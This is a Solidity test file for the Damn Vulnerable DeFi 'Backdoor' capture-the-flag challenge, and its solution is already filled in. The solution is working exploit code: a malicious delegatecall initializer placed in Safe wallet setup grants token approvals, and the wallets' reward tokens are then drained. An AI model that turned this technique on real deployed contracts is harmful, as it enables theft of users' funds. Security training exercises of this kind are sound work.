Backdoor.t.sol

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {Safe} from "@safe-global/safe-smart-account/contracts/Safe.sol";
import {SafeProxyFactory} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {WalletRegistry} from "../../src/backdoor/WalletRegistry.sol";
import {Safe} from "safe-smart-account/contracts/Safe.sol";

contract BackdoorChallenge is Test {
    address deployer = makeAddr("deployer");
    address player = makeAddr("player");
    address recovery = makeAddr("recovery");
    address[] users = [makeAddr("alice"), makeAddr("bob"), makeAddr("charlie"), makeAddr("david")];

    uint256 constant AMOUNT_TOKENS_DISTRIBUTED = 40e18;

    DamnValuableToken token;
    Safe singletonCopy;
    SafeProxyFactory walletFactory;
    WalletRegistry walletRegistry;

    modifier checkSolvedByPlayer() {
        vm.startPrank(player, player);
        _;
        vm.stopPrank();
        _isSolved();
    }

    /**
     * SETS UP CHALLENGE - DO NOT TOUCH
     */
    function setUp() public {
        startHoax(deployer);
        // Deploy Safe copy and factory
        singletonCopy = new Safe();
        walletFactory = new SafeProxyFactory();

        // Deploy reward token
        token = new DamnValuableToken();

        // Deploy the registry
        walletRegistry = new WalletRegistry(address(singletonCopy), address(walletFactory), address(token), users);

        // Transfer tokens to be distributed to the registry
        token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);

        vm.stopPrank();
    }

    /**
     * VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
     */
    function test_assertInitialState() public {
        assertEq(walletRegistry.owner(), deployer);
        assertEq(token.balanceOf(address(walletRegistry)), AMOUNT_TOKENS_DISTRIBUTED);
        for (uint256 i = 0; i < users.length; i++) {
            // Users are registered as beneficiaries
            assertTrue(walletRegistry.beneficiaries(users[i]));

            // User cannot add beneficiaries
            vm.expectRevert(0x82b42900); // `Unauthorized()`
            vm.prank(users[i]);
            walletRegistry.addBeneficiary(users[i]);
        }
    }

    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_backdoor() public checkSolvedByPlayer {
        new BackdoorSolution().go(walletRegistry, walletFactory, singletonCopy, users, address(token), recovery);
    }

    /**
     * CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
     */
    function _isSolved() private view {
        // Player must have executed a single transaction
        assertEq(vm.getNonce(player), 1, "Player executed more than one tx");

        for (uint256 i = 0; i < users.length; i++) {
            address wallet = walletRegistry.wallets(users[i]);

            // User must have registered a wallet
            assertTrue(wallet != address(0), "User didn't register a wallet");

            // User is no longer registered as a beneficiary
            assertFalse(walletRegistry.beneficiaries(users[i]));
        }

        // Recovery account must own all tokens
        assertEq(token.balanceOf(recovery), AMOUNT_TOKENS_DISTRIBUTED);
    }
}

contract Backdoor {
    fallback() external {
        (address token, address owner) = abi.decode(msg.data, (address, address));
        (bool success,) = token.call(abi.encodeWithSignature("approve(address,uint256)", owner, 10e18));
        require(success, "Approval failed");
    }
}

contract BackdoorSolution {
    uint256 private constant PAYMENT_AMOUNT = 10e18;
    address backdoor;
    address token;
    function go(WalletRegistry walletRegistry, SafeProxyFactory walletFactory, Safe singletonCopy, address[] calldata users, address token_, address recovery) external {
        backdoor = address(new Backdoor());
        token = token_;
        for (uint256 i = 0; i < users.length; i++) {
            bytes memory initializer = getInitializer(users[i]);
            address proxy = address(
                walletFactory.createProxyWithCallback(address(singletonCopy), initializer, 0, walletRegistry)
            );
            (bool success, ) = token.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", proxy, recovery, PAYMENT_AMOUNT));
            require(success, "Transfer failed");
        }
    }
    function getInitializer(address user) internal view returns (bytes memory initializer) {
        address[] memory _owners = new address[](1);
        _owners[0] = user;
        initializer = abi.encodeWithSelector(Safe.setup.selector, _owners, 1, backdoor, abi.encode(token, this), address(0), address(0), 0, address(0));
    }
}